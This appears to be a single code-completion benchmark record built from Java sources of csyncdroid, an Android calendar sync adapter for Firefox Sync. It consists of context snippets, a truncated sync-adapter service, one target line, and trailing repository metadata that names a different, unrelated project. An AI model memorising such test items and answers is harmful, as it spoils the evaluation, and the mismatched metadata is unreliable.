builder.withValue(Events.TITLE, event.getSummary());\n\t\tif (event.getLocation() != null)\n\t\t\tbuilder = builder.withValue(Events.EVENT_LOCATION, event.getLocation());\n\t\tif (event.getDescription() != null)\n\t\t\tbuilder = builder.withValue(Events.DESCRIPTION, event.getDescription());\n\n\t\tif (event.getOrganizer() != null && event.getOrganizer().getEmail() != null) {\n\t\t\tbuilder = builder.withValue(Events.ORGANIZER, event.getOrganizer().getEmail());\n\t\t}\n\n\t\tStatus status = event.getStatus();\n\t\tif (status != null) {\n\t\t\tint statusCode = Events.STATUS_TENTATIVE;\n\t\t\tif (status == Status.confirmed())\n\t\t\t\tstatusCode = Events.STATUS_CONFIRMED;\n\t\t\telse if (status == Status.cancelled())\n\t\t\t\tstatusCode = Events.STATUS_CANCELED;\n\t\t\tbuilder = builder.withValue(Events.STATUS, statusCode);\n\t\t}\n\t\t\n\t\tbuilder = builder.withValue(Events.AVAILABILITY, event.isOpaque() ? Events.AVAILABILITY_BUSY : Events.AVAILABILITY_FREE);\n\t\t\n\t\tif (event.getForPublic() != null)\n\t\t\tbuilder = builder.withValue(Events.ACCESS_LEVEL, event.getForPublic() ? Events.ACCESS_PUBLIC : Events.ACCESS_PRIVATE);\n\n\t\treturn builder;\n\t}\n\n\t\n\t@Override\n\tprotected void addDataRows(Resource resource, long localID, int backrefIdx) {\n\t\tEvent event = (Event)resource;\n\t\tfor (Attendee attendee : event.getAttendees())\n\t\t\tpendingOperations.add(buildAttendee(newDataInsertBuilder(Attendees.CONTENT_URI, Attendees.EVENT_ID, localID, backrefIdx), attendee).build());\n\t\tfor (VAlarm alarm : event.getAlarms())\n\t\t\tpendingOperations.add(buildReminder(newDataInsertBuilder(Reminders.CONTENT_URI, Reminders.EVENT_ID, localID, backrefIdx), alarm).build());\n\t}\n\t\n\t@Override\n\tprotected void removeDataRows(Resource resource) {\n\t\tEvent event = (Event)resource;\n\t\tpendingOperations.add(ContentProviderOperation.newDelete(syncAdapterURI(Attendees.CONTENT_URI))\n\t\t\t\t.withSelection(Attendees.EVENT_ID + \"=?\",\n\t\t\t\tnew String[] { String.valueOf(event.getLocalID()) }).build());\n\t\tpendingOperations.add(ContentProviderOperation.newDelete(syncAdapterURI(Reminders.CONTENT_URI))\n\t\t\t\t.withSelection(Reminders.EVENT_ID + \"=?\",\n\t\t\t\t\t\tnew String[]{String.valueOf(event.getLocalID())}).build());\n\t}\n\n\t\n\t@SuppressLint(\"InlinedApi\")\n\tprotected Builder buildAttendee(Builder builder, Attendee attendee) {\n\t\tString email = attendee.getEmail();\n\t\t\n\t\tString cn = attendee.getCommonName();\n\t\tif (cn != null)\n\t\t\tbuilder = builder.withValue(Attendees.ATTENDEE_NAME, cn);\n\t\t\n\t\tint type = Attendees.TYPE_NONE;\n\t\tif (attendee.getCalendarUserType() == CalendarUserType.RESOURCE)\n\t\t\ttype = Attendees.TYPE_RESOURCE;\n\t\telse {\n\t\t\tint relationship;\n\t\t\tif (attendee.getRole() == Role.CHAIR)\n\t\t\t\trelationship = Attendees.RELATIONSHIP_ORGANIZER;\n\t\t\telse {\n\t\t\t\trelationship = Attendees.RELATIONSHIP_ATTENDEE;\n\t\t\t}\n\t\t\tbuilder = builder.withValue(Attendees.ATTENDEE_RELATIONSHIP, relationship);\n\t\t}\n\t\t\n\t\tint status = Attendees.ATTENDEE_STATUS_NONE;\n\t\tParticipationStatus partStat = attendee.getParticipationStatus();\n\t\tif (partStat == null || partStat == ParticipationStatus.NEEDS_ACTION)\n\t\t\tstatus = Attendees.ATTENDEE_STATUS_INVITED;\n\t\telse if (partStat == ParticipationStatus.ACCEPTED)\n\t\t\tstatus = Attendees.ATTENDEE_STATUS_ACCEPTED;\n\t\telse if (partStat == ParticipationStatus.DECLINED)\n\t\t\tstatus = Attendees.ATTENDEE_STATUS_DECLINED;\n\t\telse if (partStat == ParticipationStatus.TENTATIVE)\n\t\t\tstatus = Attendees.ATTENDEE_STATUS_TENTATIVE;\n\t\t\n\t\treturn builder\n\t\t\t.withValue(Attendees.ATTENDEE_EMAIL, email)\n\t\t\t.withValue(Attendees.ATTENDEE_TYPE, type)\n\t\t\t.withValue(Attendees.ATTENDEE_STATUS, status);\n\t}\n\t\n\tprotected Builder buildReminder(Builder builder, VAlarm alarm) {\n\t\tint minutes = 0;\n\n\t\tif (alarm.getTrigger() != null && alarm.getTrigger().getDuration() != null)\n\t\t\t//minutes = duration.getDays() * 24*60 + duration.getHours()*60 + duration.getMinutes();\n\t\t\tminutes = (int)(alarm.getTrigger().getDuration().toMillis()/60000);\n\n\t\tLog.d(TAG, \"Adding alarm \" + minutes + \" min before\");\n\t\t\n\t\treturn builder\n\t\t\t\t.withValue(Reminders.METHOD, Reminders.METHOD_ALERT)\n\t\t\t\t.withValue(Reminders.MINUTES, minutes);\n\t}\n\n\tprotected RecurrenceRule parseRecurrenceRule(String property, TimeZone tz) throws ParseException {\n\t\treturn new RecurrenceRule(parseRecurrence(property, tz));\n\t}\n\n\tprotected List<ExceptionRule> parseExceptionRule(String property, TimeZone tz) throws ParseException {\n\t\tExceptionRule exRule = new ExceptionRule(parseRecurrence(property, tz));\n\n\t\tList<ExceptionRule> listExRule = new ArrayList<ExceptionRule>();\n\t\tlistExRule.add(exRule);\n\t\treturn listExRule;\n\t}\n\n\tprotected Recurrence parseRecurrence(String property, TimeZone tz) throws ParseException {\n\t\tRRule tmpRecRule = new RRule(property);\n\n\t\tRecurrence.Frequency freq = null;\n\t\tswitch(tmpRecRule.getFreq()) {\n\t\t\tcase DAILY:\n\t\t\t\tfreq = Recurrence.Frequency.DAILY;\n\t\t\t\tbreak;\n\t\t\tcase HOURLY:\n\t\t\t\tfreq = Recurrence.Frequency.HOURLY;\n\t\t\t\tbreak;\n\t\t\tcase MINUTELY:\n\t\t\t\tfreq = Recurrence.Frequency.MINUTELY;\n\t\t\t\tbreak;\n\t\t\tcase MONTHLY:\n\t\t\t\tfreq = Recurrence.Frequency.MONTHLY;\n\t\t\t\tbreak;\n\t\t\tcase SECONDLY:\n\t\t\t\tfreq = Recurrence.Frequency.SECONDLY;\n\t\t\t\tbreak;\n\t\t\tcase WEEKLY:\n\t\t\t\tfreq = Recurrence.Frequency.WEEKLY;\n\t\t\t\tbreak;\n\t\t\tcase YEARLY:\n\t\t\t\tfreq = Recurrence.Frequency.YEARLY;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t//Fail quietly\n\t\t}\n\n\t\tList<Recurrence.DayOfWeek> dows = new ArrayList<Recurrence.DayOfWeek>();\n\t\tfor (WeekdayNum wday: tmpRecRule.getByDay()) {\n\t\t\tswitch(wday.wday) {\n\t\t\t\tcase MO:\n\t\t\t\t\tdows.add(Recurrence.DayOfWeek.MONDAY);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TU:\n\t\t\t\t\tdows.add(Recurrence.DayOfWeek.TUESDAY);\n\t\t\t\t\tbreak;\n\t\t\t\tcase WE:\n\t\t\t\t\tdows.add(Recurrence.DayOfWeek.WEDNESDAY);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TH:\n\t\t\t\t\tdows.add(Recurrence.DayOfWeek.THURSDAY);\n\t\t\t\t\tbreak;\n\t\t\t\tcase FR:\n\t\t\t\t\tdows.add(Recurrence.DayOfWeek.FRIDAY);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SA:\n\t\t\t\t\tdows.add(Recurrence.DayOfWeek.SATURDAY);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SU:\n\t\t\t\t\tdows.add(Recurrence.DayOfWeek.SUNDAY);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t//Fail quietly\n\t\t\t}\n\t\t}\n\n\t\tRecurrence tmpRec = new Recurrence.Builder(freq)\n\t\t\t\t.interval(tmpRecRule.getInterval())\n\t\t\t\t.count(tmpRecRule.getCount())\n\t\t\t\t.until(dateValueToDate(tmpRecRule.getUntil()))\n\t\t\t\t.byDay(dows)\n\t\t\t\t.byHour(new ArrayList<Integer>(Arrays.asList(ArrayUtils.toObject(tmpRecRule.getByHour()))))\n\t\t\t\t.byMinute(new ArrayList<Integer>(Arrays.asList(ArrayUtils.toObject(tmpRecRule.getByMinute()))))\n\t\t\t\t.byMonth(new ArrayList<Integer>(Arrays.asList(ArrayUtils.toObject(tmpRecRule.getByMonth()))))\n\t\t\t\t.byMonthDay(new ArrayList<Integer>(Arrays.asList(ArrayUtils.toObject(tmpRecRule.getByMonthDay()))))\n\t\t\t\t.bySecond(new ArrayList<Integer>(Arrays.asList(ArrayUtils.toObject(tmpRecRule.getBySecond()))))\n\t\t\t\t.byWeekNo(new ArrayList<Integer>(Arrays.asList(ArrayUtils.toObject(tmpRecRule.getByWeekNo()))))\n\t\t\t\t.byYearDay(new ArrayList<Integer>(Arrays.asList(ArrayUtils.toObject(tmpRecRule.getByYearDay()))))\n\t\t\t\t.build();\n\n\t\treturn tmpRec;\n\t}\n\n\tprotected List<RecurrenceDates> parseRecurrenceDates(String property, TimeZone tz) throws ParseException {\n\n\t\tRDateList rDateList = new RDateList(property, tz);\n\n\t\tCalendar calUtc = Calendar.getInstance(TimeZone.getTimeZone(\"UTC\"));\n\n\t\tRecurrenceDates recDates = new RecurrenceDates();\n\n\t\tfor (DateValue rdate: rDateList.getDatesUtc()) {\n\t\t\tcalUtc.clear();\n\t\t\tcalUtc.set(rdate.year(), rdate.month(), rdate.day());\n\t\t\trecDates.addDate(calUtc.getTime());\n\t\t}\n\n\t\tList<RecurrenceDates> listRecDates = new ArrayList<RecurrenceDates>();\n\t\tlistRecDates.add(recDates);\n\n\n\n\n\t\treturn listRecDates;\n\n\t}\n\n\n\tprotected List<ExceptionDates> parseExceptionDates(String property, TimeZone tz) throws ParseException {\n\n\t\tRDateList exDateList = new RDateList(property, tz);\n\n\t\tCalendar calUtc = Calendar.getInstance(TimeZone.getTimeZone(\"UTC\"));\n\n\t\tExceptionDates exDates = new ExceptionDates();\n\n\t\tfor (DateValue exDate: exDateList.getDatesUtc()) {\n\t\t\tcalUtc.clear();\n\t\t\tcalUtc.set(exDate.year(), exDate.month(), exDate.day());\n\t\t\texDates.addValue(calUtc.getTime());\n\t\t}\n\n\t\tList<ExceptionDates> listExDates = new ArrayList<ExceptionDates>();\n\t\tlistExDates.add(exDates);\n\n\t\treturn listExDates;\n\t}\n\n\t/* private helper methods */\n\n\tprotected Date dateValueToDate(DateValue dateValue) {\n\t\tCalendar calUtc = Calendar.getInstance(TimeZone.getTimeZone(\"UTC\"));\n\t\tcalUtc.clear();\n\t\tcalUtc.set(dateValue.year(), dateValue.month(), dateValue.day());\n\t\treturn calUtc.getTime();\n\t}\n\n\tprotected static Uri calendarsURI(Account account) {\n\t\treturn Calendars.CONTENT_URI.buildUpon().appendQueryParameter(Calendars.ACCOUNT_NAME, account.name)\n\t\t\t\t.appendQueryParameter(Calendars.ACCOUNT_TYPE, account.type)\n\t\t\t\t.appendQueryParameter(CalendarContract.CALLER_IS_SYNCADAPTER, \"true\").build();\n\t}\n\n\tprotected Uri calendarsURI() {\n\t\treturn calendarsURI(account);\n\t}\n\n\t@Override\n\tpublic Double getModifiedTime() {\n\t\treturn accountSettings.getModifiedTime(contentAuthority);\n\t}\n\n\t@Override\n\tpublic void setModifiedTime(Double modified) {\n\t\taccountSettings.setModifiedTime(contentAuthority, modified);\n\t}\n}", "public abstract class LocalCollection<T extends Resource> {\n\tprivate static final String TAG = \"csyncdroid.LocalCol\";\n\t\n\tprotected Account account;\n\tprotected ContentProviderClient providerClient;\n\tprotected ArrayList<ContentProviderOperation> pendingOperations = new ArrayList<ContentProviderOperation>();\n\tprotected Double modifiedTime;\n\t\n\t// database fields\n\t\n\tabstract protected Uri entriesURI();\n\n\tabstract protected String entryColumnAccountType();\n\tabstract protected String entryColumnAccountName();\n\t\n\tabstract protected String entryColumnParentID();\n\tabstract protected String entryColumnID();\n\tabstract protected String entryColumnRemoteId();\n\tabstract protected String entryColumnETag();\n\t\n\tabstract protected String entryColumnDirty();\n\tabstract protected String entryColumnDeleted();\n\t\n\tabstract protected String entryColumnUID();\n\n\tabstract protected String resourceToString(Resource resource) throws LocalStorageException;\n\n\tLocalCollection(Account account, ContentProviderClient providerClient) {\n\t\tthis.account = account;\n\t\tthis.providerClient = providerClient;\n\t}\n\t\n\n\t// collection operations\n\t\n\tabstract public long getId();\n\tabstract public Double getModifiedTime();\n\tabstract public void setModifiedTime(Double modified);\n\t\n\t// content provider (= database) querying\n\n\tpublic long[] findNew() throws LocalStorageException {\n\t\t// new records are 1) dirty, and 2) don't have a remote file name yet\n\t\tString where = entryColumnDirty() + \"=1 AND \" + entryColumnRemoteId() + \" IS NULL\";\n\t\tif (entryColumnParentID() != null)\n\t\t\twhere += \" AND \" + entryColumnParentID() + \"=\" + String.valueOf(getId());\n\t\ttry {\n\t\t\t@Cleanup Cursor cursor = providerClient.query(entriesURI(),\n\t\t\t\t\tnew String[] { entryColumnID() },\n\t\t\t\t\twhere, null, null);\n\t\t\tif (cursor == null)\n\t\t\t\tthrow new LocalStorageException(\"Couldn't query new records\");\n\t\t\t\n\t\t\tlong[] fresh = new long[cursor.getCount()];\n\t\t\tfor (int idx = 0; cursor.moveToNext(); idx++) {\n\t\t\t\tlong id = cursor.getLong(0);\n\t\t\t\t\n\t\t\t\t// new record: generate UID + remote file name so that we can upload\n\t\t\t\tT resource = findById(id, false);\n\t\t\t\tresource.initialize();\n\t\t\t\t// write generated UID + remote file name into database\n\t\t\t\tContentValues values = new ContentValues(2);\n\t\t\t\tvalues.put(entryColumnUID(), resource.getUid());\n\t\t\t\tvalues.put(entryColumnRemoteId(), resource.getId());\n\t\t\t\tproviderClient.update(ContentUris.withAppendedId(entriesURI(), id), values, null, null);\n\t\t\t\t\n\t\t\t\tfresh[idx] = id;\n\t\t\t}\n\t\t\treturn fresh;\n\t\t} catch(RemoteException ex) {\n\t\t\tthrow new LocalStorageException(ex);\n\t\t}\n\t}\n\t\n\tpublic long[] findUpdated() throws LocalStorageException {\n\t\t// updated records are 1) dirty, and 2) already have a remote file name\n\t\tString where = entryColumnDirty() + \"=1 AND \" + entryColumnRemoteId() + \" IS NOT NULL\";\n\t\tif (entryColumnParentID() != null)\n\t\t\twhere += \" AND \" + entryColumnParentID() + \"=\" + String.valueOf(getId());\n\t\ttry {\n\t\t\t@Cleanup Cursor cursor = providerClient.query(entriesURI(),\n\t\t\t\t\tnew String[] { entryColumnID(), entryColumnRemoteId(), entryColumnETag() },\n\t\t\t\t\twhere, null, null);\n\t\t\tif (cursor == null)\n\t\t\t\tthrow new LocalStorageException(\"Couldn't query dirty records\");\n\t\t\t\n\t\t\tlong[] dirty = new long[cursor.getCount()];\n\t\t\tfor (int idx = 0; cursor.moveToNext(); idx++)\n\t\t\t\tdirty[idx] = cursor.getLong(0);\n\t\t\treturn dirty;\n\t\t} catch(RemoteException ex) {\n\t\t\tthrow new LocalStorageException(ex);\n\t\t}\n\t}\n\n\tpublic long[] findDeleted() throws LocalStorageException {\n\t\tString where = entryColumnDeleted() + \"=1\";\n\t\tif (entryColumnParentID() != null)\n\t\t\twhere += \" AND \" + entryColumnParentID() + \"=\" + String.valueOf(getId());\n\t\ttry {\n\t\t\t@Cleanup Cursor cursor = providerClient.query(entriesURI(),\n\t\t\t\t\tnew String[] { entryColumnID(), entryColumnRemoteId(), entryColumnETag() },\n\t\t\t\t\twhere, null, null);\n\t\t\tif (cursor == null)\n\t\t\t\tthrow new LocalStorageException(\"Couldn't query dirty records\");\n\t\t\t\n\t\t\tlong deleted[] = new long[cursor.getCount()];\n\t\t\tfor (int idx = 0; cursor.moveToNext(); idx++)\n\t\t\t\tdeleted[idx] = cursor.getLong(0);\n\t\t\treturn deleted;\n\t\t} catch(RemoteException ex) {\n\t\t\tthrow new LocalStorageException(ex);\n\t\t}\n\t}\n\t\n\tpublic T findById(long localID, boolean populate) throws LocalStorageException {\n\t\ttry {\n\t\t\t@Cleanup Cursor cursor = providerClient.query(ContentUris.withAppendedId(entriesURI(), localID),\n\t\t\t\t\tnew String[] { entryColumnRemoteId(), entryColumnETag() }, null, null, null);\n\t\t\tif (cursor != null && cursor.moveToNext()) {\n\t\t\t\tT resource = newResource(localID, cursor.getString(0), cursor.getString(1));\n\t\t\t\tif (populate)\n\t\t\t\t\tpopulate(resource);\n\t\t\t\treturn resource;\n\t\t\t} else\n\t\t\t\tthrow new RecordNotFoundException();\n\t\t} catch(RemoteException ex) {\n\t\t\tthrow new LocalStorageException(ex);\n\t\t}\n\t}\n\t\n\tpublic T findByRemoteId(String remoteName, boolean populate) throws LocalStorageException {\n\t\ttry {\n\t\t\t@Cleanup Cursor cursor = providerClient.query(entriesURI(),\n\t\t\t\t\tnew String[] { entryColumnID(), entryColumnRemoteId(), entryColumnETag() },\n\t\t\t\t\tentryColumnRemoteId() + \"=?\", new String[] { remoteName }, null);\n\t\t\tif (cursor != null && cursor.moveToNext()) {\n\t\t\t\tT resource = newResource(cursor.getLong(0), cursor.getString(1), cursor.getString(2));\n\t\t\t\tif (populate)\n\t\t\t\t\tpopulate(resource);\n\t\t\t\treturn resource;\n\t\t\t} else\n\t\t\t\tthrow new RecordNotFoundException();\n\t\t} catch(RemoteException ex) {\n\t\t\tthrow new LocalStorageException(ex);\n\t\t}\n\t}\n\n\tpublic T findByUID(String uid, boolean populate) throws RecordNotFoundException, LocalStorageException {\n\t\ttry {\n\t\t\t@Cleanup Cursor cursor = providerClient.query(entriesURI(),\n\t\t\t\t\tnew String[] { entryColumnID(), entryColumnRemoteId(), entryColumnETag() },\n\t\t\t\t\tthis.entryColumnUID() + \"=?\", new String[] { uid }, null);\n\t\t\tif (cursor != null && cursor.moveToNext()) {\n\t\t\t\tT resource = newResource(cursor.getLong(0), cursor.getString(1), cursor.getString(2));\n\t\t\t\tif (populate)\n\t\t\t\t\tpopulate(resource);\n\t\t\t\treturn resource;\n\t\t\t} else\n\t\t\t\tthrow new RecordNotFoundException();\n\t\t} catch(RemoteException ex) {\n\t\t\tthrow new LocalStorageException(ex);\n\t\t}\n\t}\n\n\n\tpublic abstract void populate(Resource record) throws LocalStorageException;\n\t\n\tprotected void queueOperation(Builder builder) {\n\t\tif (builder != null)\n\t\t\tpendingOperations.add(builder.build());\n\t}\n\n\t\n\t// create/update/delete\n\t\n\tabstract public T newResource(long localID, String resourceName, String eTag);\n\t\n\tpublic void add(Resource resource) {\n\t\tLog.d(TAG, \"add()\");\n\t\ttry {\n\t\t\tLog.d(TAG, \"Before update\");\n\t\t\tLog.d(TAG, resourceToString(resource));\n\t\t} catch (LocalStorageException e) {\n\t\t\t//Fail quietly\n\t\t}\n\n\t\tint idx = pendingOperations.size();\n\t\tpendingOperations.add(\n\t\t\t\tbuildEntry(ContentProviderOperation.newInsert(entriesURI()), resource)\n\t\t\t\t.withYieldAllowed(true)\n\t\t\t\t.build());\n\t\t\n\t\taddDataRows(resource, -1, idx);\n\t}\n\t\n\tpublic void updateByRemoteId(Resource remoteResource) throws LocalStorageException {\n\t\tLog.d(TAG, \"updateByRemoteId()\");\n\n\t\tT localResource = findByRemoteId(remoteResource.getId(), false);\n\n\t\tLog.d(TAG, \"Before update\");\n\t\tLog.d(TAG, resourceToString(localResource));\n\n\t\tpendingOperations.add(\n\t\t\t\tbuildEntry(ContentProviderOperation.newUpdate(ContentUris.withAppendedId(entriesURI(), localResource.getLocalID())), remoteResource)\n\t\t\t\t\t\t.withValue(entryColumnETag(), remoteResource.getETag())\n\t\t\t\t\t\t.withYieldAllowed(true)\n\t\t\t\t\t\t.build());\n\n\t\tremoveDataRows(localResource);\n\t\taddDataRows(remoteResource, localResource.getLocalID(), -1);\n\t}\n\n\tpublic void delete(Resource resource) {\n\t\tLog.d(TAG, \"delete()\");\n\t\ttry {\n\t\t\tLog.d(TAG, \"Before update\");\n\t\t\tLog.d(TAG, resourceToString(resource));\n\t\t} catch (LocalStorageException e) {\n\t\t\t//Fail quietly\n\t\t}\n\n\t\tpendingOperations.add(ContentProviderOperation\n\t\t\t\t.newDelete(ContentUris.withAppendedId(entriesURI(), resource.getLocalID()))\n\t\t\t\t.withYieldAllowed(true)\n\t\t\t\t.build());\n\t}\n\n\tpublic void deleteAllExceptRemoteIds(Resource[] remoteResources) {\n\t\tList<String> ids = new ArrayList<String>();\n\t\tfor (Resource res: remoteResources) {\n\t\t\tids.add(res.getId());\n\t\t}\n\t\tdeleteAllExceptRemoteIds(ids.toArray(new String[0]));\n\t}\n\tpublic abstract void deleteAllExceptRemoteIds(String[] ids);\n\tpublic abstract void deleteAllExceptUIDs(String[] uids);\n\t\n\tpublic void clearDirty(Resource resource) {\n\t\tLog.d(TAG, \"clearDirty()\");\n\t\ttry {\n\t\t\tLog.d(TAG, \"Before update\");\n\t\t\tLog.d(TAG, resourceToString(resource));\n\t\t} catch (LocalStorageException e) {\n\t\t\t//Fail quietly\n\t\t}\n\n\t\tpendingOperations.add(ContentProviderOperation\n\t\t\t\t.newUpdate(ContentUris.withAppendedId(entriesURI(), resource.getLocalID()))\n\t\t\t\t.withValue(entryColumnDirty(), 0)\n\t\t\t\t.build());\n\t}\n\n\tpublic void commit() throws LocalStorageException {\n\t\tif (!pendingOperations.isEmpty())\n\t\t\ttry {\n\t\t\t\tLog.d(TAG, \"Committing \" + pendingOperations.size() + \" operations\");\n\t\t\t\tfor (ContentProviderOperation op: pendingOperations) {\n\t\t\t\t\tLog.d(TAG, String.format(\"%s: %s\", (op.isWriteOperation() ? \"Write\" : \"Read\"), op.getUri().toString()));\n\t\t\t\t}\n\t\t\t\tproviderClient.applyBatch(pendingOperations);\n\t\t\t\tpendingOperations.clear();\n\t\t\t} catch (RemoteException ex) {\n\t\t\t\tthrow new LocalStorageException(ex);\n\t\t\t} catch(OperationApplicationException ex) {\n\t\t\t\tthrow new LocalStorageException(ex);\n\t\t\t}\n\t}\n\n\t\n\t// helpers\n\t\n\tprotected Uri syncAdapterURI(Uri baseURI) {\n\t\treturn baseURI.buildUpon()\n\t\t\t\t.appendQueryParameter(entryColumnAccountType(), account.type)\n\t\t\t\t.appendQueryParameter(entryColumnAccountName(), account.name)\n\t\t\t\t.appendQueryParameter(CalendarContract.CALLER_IS_SYNCADAPTER, \"true\")\n\t\t\t\t.build();\n\t}\n\t\n\tprotected Builder newDataInsertBuilder(Uri dataUri, String refFieldName, long raw_ref_id, Integer backrefIdx) {\n\t\tBuilder builder = ContentProviderOperation.newInsert(syncAdapterURI(dataUri));\n\t\tif (backrefIdx != -1)\n\t\t\treturn builder.withValueBackReference(refFieldName, backrefIdx);\n\t\telse\n\t\t\treturn builder.withValue(refFieldName, raw_ref_id);\n\t}\n\t\n\t\n\t// content builders\n\n\tprotected abstract Builder buildEntry(Builder builder, Resource resource);\n\t\n\tprotected abstract void addDataRows(Resource resource, long localID, int backrefIdx);\n\tprotected abstract void removeDataRows(Resource resource);\n}", "public class WeaveCalendar extends WeaveCollection<Event> {\n\n\tpublic WeaveCalendar(WeaveClient weaveClient, String collection) {\n\t\tsuper(weaveClient, collection);\n\t}\n\tprotected String memberContentType() {\n\t\treturn \"application/calendar+json\";\n\t}\n\t\n\t\n\t/* internal member operations */\n\tpublic Event[] multiGet(String[] ids) throws WeaveException, NotFoundException {\n\t\tList<Event> colEvent = new LinkedList<Event>();\n\n\t\tWeaveBasicObject[] colWbo = this.weaveClient.getCollection(collection, ids, null, null, null, null, null, null, null, null); \n\n\t\tfor (int i = 0; i < colWbo.length; i++) {\n\t\t\tEvent con = Event.fromWeaveBasicObject(colWbo[i]);\n\t\t\tcolEvent.add(con);\n\t\t}\n\t\t\n\t\treturn colEvent.toArray(new Event[0]);\n\t}\n\n\tpublic Event get(String id) throws WeaveException, NotFoundException {\n\t\tWeaveBasicObject wbo = this.weaveClient.get(this.collection, id);\n\t\treturn Event.fromWeaveBasicObject(wbo);\n\t}\n\n\tpublic void add(Resource res) throws WeaveException {\n\t\tadd((Event)res);\n\t}\n\n\tpublic void add(Event res) throws WeaveException {\n\t\tWeaveBasicObject wbo = Event.toWeaveBasicObject(res);\n\t\tthis.weaveClient.put(collection, wbo.getId(), wbo);\n\t}\n\t\n\tpublic void update(Resource res) throws WeaveException {\n\t\tupdate((Event)res);\n\t}\n\n\tpublic void update(Event res) throws WeaveException {\n\t\tWeaveBasicObject wbo = Event.toWeaveBasicObject(res);\n\n\t\t//TODO confirm resource exists\n\t\t\n\t\tthis.weaveClient.put(collection, wbo.getId(), wbo);\n\t}\n\t\n\tpublic void delete(String id) throws WeaveException, NotFoundException {\n\t\tthis.weaveClient.delete(collection, id);\n\t}\n}", "public abstract class WeaveCollection<T extends Resource> { \n\n\tprotected WeaveClient weaveClient;\n\tprotected String collection;\n\tprotected WeaveCollectionInfo colinfo;\n\tprotected List<T> vobjResources;\n\tprotected List<WeaveBasicObject> weaveResources;\n\n\tpublic WeaveCollection(WeaveClient weaveClient, String collection) {\n\t\tthis.weaveClient = weaveClient;\n\t\tthis.collection = collection;\n\t\tthis.colinfo = null;\n\t}\n\t\n\tabstract protected String memberContentType();\t\n\t\n\t/* collection operations */\n\n\tpublic Double getModifiedTime() throws WeaveException, NotFoundException {\n\t\treturn getModifiedTime(false);\n\t}\n\n\tpublic Double getModifiedTime(boolean force) throws WeaveException, NotFoundException {\n\t\tif ( colinfo == null || force ) {\n\t\t\tcolinfo = weaveClient.getCollectionInfo(collection);\n\t\t}\n\t\treturn colinfo.getModified();\n\t}\n\n\tpublic String[] getObjectIds() throws WeaveException, NotFoundException {\n\t\treturn weaveClient.getCollectionIds(collection, null, null, null, null, null, null, null, null);\n\t}\n\n\tpublic String[] getObjectIdsModifiedSince(Double modifiedDate) throws WeaveException, NotFoundException {\n\t\treturn weaveClient.getCollectionIds(collection, null, null, modifiedDate, null, null, null, null, null);\n\t}\n\n\tpublic abstract T[] multiGet(String[] ids) throws WeaveException, NotFoundException;\n\n\tpublic T[] multiGet(Resource[] resources) throws WeaveException, NotFoundException {\n\t\tString[] ids = new String[resources.length];\n\t\tfor (int i = 0; i < resources.length; i++) {\n\t\t\tids[i] = resources[i].getUid();\n\t\t}\n\t\treturn multiGet(ids);\n\t}\n\n\tpublic abstract T get(String id) throws WeaveException, NotFoundException;\n\n\tpublic T get(Resource res) throws WeaveException, NotFoundException {\n\t\treturn get(res.getUid());\n\t}\n\n\tpublic abstract void add(Resource res) throws WeaveException;\n\t\n\tpublic abstract void update(Resource res) throws WeaveException, NotFoundException;\n\n\tpublic abstract void delete(String id) throws WeaveException, NotFoundException;\n\t\n\tpublic void delete(Resource res) throws WeaveException, NotFoundException {\n\t\tdelete(res.getId());\n\t}\n}" ]
import org.exfio.csyncdroid.resource.LocalCalendar; import org.exfio.csyncdroid.resource.LocalCollection; import org.exfio.csyncdroid.resource.WeaveCalendar; import org.exfio.csyncdroid.resource.WeaveCollection; import java.util.HashMap; import java.util.Map; import android.accounts.Account; import android.app.Service; import android.content.ContentProviderClient; import android.content.Context; import android.content.Intent; import android.os.IBinder; import android.os.RemoteException; import org.exfio.weave.WeaveException; import org.exfio.weave.client.WeaveClient; import org.exfio.csyncdroid.Constants;
/* * Copyright (C) 2015 Gerry Healy <nickel_chrome@exfio.org> and contributors * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * This program is derived from DavDroid, Copyright (C) 2014 Richard Hirner, bitfire web engineering * DavDroid is distributed under the terms of the GNU Public License v3.0, https://github.com/bitfireAT/davdroid */ package org.exfio.csyncdroid.syncadapter; public class CalendarsSyncAdapterService extends Service { private static CalendarSyncAdapter syncAdapter; @Override public void onCreate() { if (syncAdapter == null) syncAdapter = new CalendarSyncAdapter(getApplicationContext()); } @Override public void onDestroy() { syncAdapter.close(); syncAdapter = null; } @Override public IBinder onBind(Intent intent) { return syncAdapter.getSyncAdapterBinder(); } private static class CalendarSyncAdapter extends WeaveSyncAdapter { private CalendarSyncAdapter(Context context) { super(context); } @Override protected Map<LocalCollection<?>, WeaveCollection<?>> getSyncPairs(Account account, ContentProviderClient provider, WeaveClient weaveClient) throws WeaveException{ AccountSettings settings = null; if ( account.type.equals(Constants.ACCOUNT_TYPE_CSYNC) ) { settings = new CSyncAccountSettings(getContext(), account); } else if ( account.type.equals(Constants.ACCOUNT_TYPE_FXACCOUNT) ) { settings = new FxAccountAccountSettings(getContext(), account); } else if ( account.type.equals(Constants.ACCOUNT_TYPE_LEGACYV5) ) { settings = new LegacyV5AccountSettings(getContext(), account); } else if ( account.type.equals(Constants.ACCOUNT_TYPE_EXFIOPEER) ) { settings = new ExfioPeerAccountSettings(getContext(), account); } else { throw new WeaveException(String.format("Account type '%s' not recognised", account.type)); } Map<LocalCollection<?>, WeaveCollection<?>> map = new HashMap<LocalCollection<?>, WeaveCollection<?>>(); try {
for (LocalCalendar calendar : LocalCalendar.findAll(account, provider, settings)) {
1
gentoku/pinnacle-api-client
src/pinnacle/api/dataobjects/Fixtures.java
